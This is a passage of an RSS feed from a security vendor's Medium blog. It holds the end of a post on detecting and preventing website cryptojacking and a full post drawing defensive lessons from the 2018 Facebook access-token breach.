by scanning your application and looking for that evidence. It can detect the presence of more than 12 000 domains used by this code, and the list is growing steadily. You can sign up for a free trial <a href="https://share.probely.com/wal">here</a> and start monitoring your website.</p><h3>How to stop a cryptojacking attack?</h3><p>As long as your site hosts malicious code, anyone visiting it will have their computer abused to mine cryptocurrency. Your first step should be to locate the malicious code and delete it, preferably by recovering the code from a clean backup or doing a new deploy. This is preferable compared to just deleting the malicious code since it puts a fresh version of the source code in the web server, cleaning any traces of the attack that you may have missed otherwise.</p><p>Removing the bad code is just the first step. You also need to find out how it got there. You should look at the web server’s log files and try to find evidence of what happened. And most importantly, you should scan your website to look for vulnerabilities and fix the one that caused the problem.</p><h3>How to prevent the attack?</h3><p>This is where you should invest your time and money, minimizing the chances of being attacked successfully. It is wishful thinking saying that this is a recipe to completely prevent the attack: as everything in security, the game is to raise the bar to a point that is too expensive for an attacker to attack you.</p><p>For the vast majority of times, the malicious code is embedded in the site through a vulnerability, such as SQL injection or Stored Cross-Site Scripting. You should find and fix those vulnerabilities before the attacker does.</p><p>Tools like <a href="https://share.probely.com/wal">Probely</a> can be used by your developers to test the application before it gets deployed, thus reducing your exposure. Finding the vulnerabilities sooner in the development lifecycle will reduce the total cost of ownership of the application, especially if the tests are tightly integrated into the developer’s processes.</p><p>To complement vulnerability scanning, you should do a more thorough check-up such as a <a href="https://blog.probely.com/pentesting-bug-bounties-or-automatic-scanning-56c83c1b232f">penetration test</a> at least once a year, where a team of trained security professionals searches for more complex vulnerabilities.</p><h4>Malicious insider</h4><p>Saying that the root cause of the problem is a vulnerability on your site is the most likely hypothesis. But you should also consider that a trusted employee modified the website to include the malicious script for its own benefit, and I have witnessed that at least a couple of times. It is very tempting to do a quick change in one of the thousands of lines of code to add a piece of JavaScript that will get you some extra income. Especially if the site has thousands of visits daily. Having a vulnerability scanner that reports the presence of cryptojacking code, running periodically will whistle blow the code presence.</p><h4>Will cryptojacking fade away?</h4><p>Cryptojacking will most likely not slow down in a near future. These attacks give the malicious actor an immediate financial gain and that is a powerful driver to any attacker. So it is important that you consider this type of attack and monitor your website periodically.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d5b206970c16" width="1" height="1" alt=""><hr><p><a href="https://medium.com/probely/what-is-cryptojacking-how-to-detect-fix-and-prevent-it-d5b206970c16">What is cryptojacking? How to detect, fix and prevent it.</a> was originally published in <a href="https://medium.com/probely">Probely</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Facebook Hack: How can your company avoid getting hacked?]]></title>
            <link>https://medium.com/probely/facebook-hack-how-can-your-company-avoid-getting-hacked-2cda6618392?source=rss-fd94dc1bedf4------2</link>
            <guid isPermaLink="false">https://medium.com/p/2cda6618392</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[facebook]]></category>
            <category><![CDATA[web-security-testing]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Tiago Mendo]]></dc:creator>
            <pubDate>Tue, 02 Oct 2018 09:34:06 GMT</pubDate>
            <atom:updated>2018-10-02T09:34:06.612Z</atom:updated>
            <content:encoded><![CDATA[<p>Last Friday, September 28th, Facebook <a href="https://newsroom.fb.com/news/2018/09/security-update/">announced</a> it suffered an attack that affected almost 50 million users. The hack required the chaining of multiple vulnerabilities, being one of them in the “View As” feature, that help users control their privacy by previewing how other users see their profile.</p><p>These vulnerabilities provided the attackers with Access Tokens that could be used to access other accounts. You can think of these Access Tokens as something your device/app automatically sends to Facebook instead of your credentials. This prevents you from having to type your login and password everytime you open the Facebook app or other applications that use Facebook for authentication (e.g. Instagram).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wB79RrUg3HVtJW7oPNEHdw.jpeg" /><figcaption>The exact information that was breached during the attack is still not known</figcaption></figure><p>What exact information was breached is yet to be determined, as well as the real number of affected users: as a precaution, Facebook reset Access Tokens for over 90 million users (almost twice the number of affected users).</p><p>Now imagine this happening to your company: you would have to tell the world you failed at protecting your users and be subject to fines under the GDPR, just to name a few consequences.</p><p>So, how do you protect your company from being hacked just like Facebook was?</p><p>There are strategic steps you can take to greatly improve the security of your company, especially if your company develops web applications, either for internal use or as a product.</p><p>I’m not saying that Facebook did not take appropriate measures to protect their users: I know that they have a good application security team, that they implement a lot of security controls and do a lot of testing. But some vulnerabilities are really hard to find, especially those that can only be exploited when combined with other vulnerabilities.</p><ul><li><strong>Automate application security testing as much as possible</strong></li></ul><p>Test your web applications constantly, every day. Your developers will change the application code frequently, as they keep improving it with new features or just fixing small functional problems. Even if most of the changes are invisible to whoever is using the application, a single character might introduce a vulnerability.</p><p>In the rare case where your applications don’t change frequently, you still have to deal with new attack techniques being reported every day by security researchers.</p><p>The only way to keep up with this fast pace is to provide your developers with tools to test the security of the application as they change it. These tests need to be performed on a daily basis and integrated into a Continuous Integration (CI) pipeline. The idea is to have all changes subject to testing and to find issues as soon as possible (at least before they can be abused by hackers).</p><ul><li><strong>Complement automation with manual security testing</strong></li></ul><p>Automated testing has limitations (but it is tireless!) that can only be overcome by the human brain. Security professionals tend to be very creative at finding highly complex vulnerabilities and broken business logic. A security professional will have a better understanding of the semantics of the data on the application and will be able to look for situations that cannot be tested automatically, for instance by calling a call-center to try to get hold of customer data.</p><p>You should hire a manual test at least once a year. These are very costly both in price and time so it is hard to do them frequently.</p><p>To learn more about penetration testing, bug bounties, and automated security scanning, <a href="https://blog.probely.com/pentesting-bug-bounties-or-automatic-scanning-56c83c1b232f">check out our blog that discusses the different approaches.</a></p><ul><li><strong>Do not ignore small, low risk, vulnerabilities</strong></li></ul><p>The Facebook hack took advantage of 3 vulnerabilities chained together. If you look at some of them isolated, you might consider them low-risk and harmless. But hackers have the skills to combine them into a successful attack.</p><p>It might require a trained eye to properly evaluate how a single vulnerability, apparently innocuous, might be combined with other, yet to be discovered vulnerability.</p><p>So, do not focus only on high-risk vulnerabilities and avoid accumulating a pile of low-risk ones. Add them to your roadmap and fix them.</p><ul><li><strong>Build an application security team</strong></li></ul><p>Depending on the size of your company and on how much your business is dependent on web applications, you might consider creating an application security team. By application security team, I mean having people whose function is solely to handle web security.</p><p>Facebook has a good application security team, and that is why in its 14 years of existence, this was the first time that they were compromised. And it is also why they handled the breach so quickly.</p><p>The main responsibilities of a typical application security team are to deliver security awareness and secure coding best practices training, to be active in the software development life-cycle of projects, to answer questions from developers on how to design features in a secure fashion, and to teach them how to fix and avoid vulnerabilities. And of course, to provide them with tools to automate security testing.</p><p>These are the main pieces for an application security program. If your revenue depends on your website, shouldn’t you have someone focused on its security?</p><ul><li><strong>Manage communication and be transparent</strong></li></ul><p>If your company is hacked, the likelihood that it becomes public is high. Some regulations already make it mandatory to disclose customer data breaches.</p><p>Facebook managed communication and PR very well so far. They are being transparent both with regards to what happened and to what measures they are taking to handle the hack. This avoids speculation, false information and minimizes bad press, basically putting Facebook in control of what is being said about them.</p><p>It is a tough call to publish that you were hacked, but if you show the world you are actively taking measures to fix the problem, it is much easier to earn the trust of your users again.</p><p>It is also important to be transparent and cooperate with law enforcement or any legal or supervisory body that you must report to. For instance, one of the 10 criteria used to determine a fine for GDPR infringement is cooperation. This could affect you, even without being under GDPR law. <a href="https://www.theguardian.com/technology/2018/sep/26/uber-hack-fine-driver-data-breach">Uber was fined</a> for lack of cooperation after a recent data breach.</p><p>Implementing all of these steps at once might look like a lot of work and seems overwhelming, but you have to start somewhere. My recommendation is to start with the first step and then improve your security strategy through the other steps.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2cda6618392" width="1" height="1" alt=""><hr><p><a href="https://medium.com/probely/facebook-hack-how-can-your-company-avoid-getting-hacked-2cda6618392">Facebook Hack: How can your company avoid getting hacked?</a> was originally published in <a href="https://medium.com/probely">Probely</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>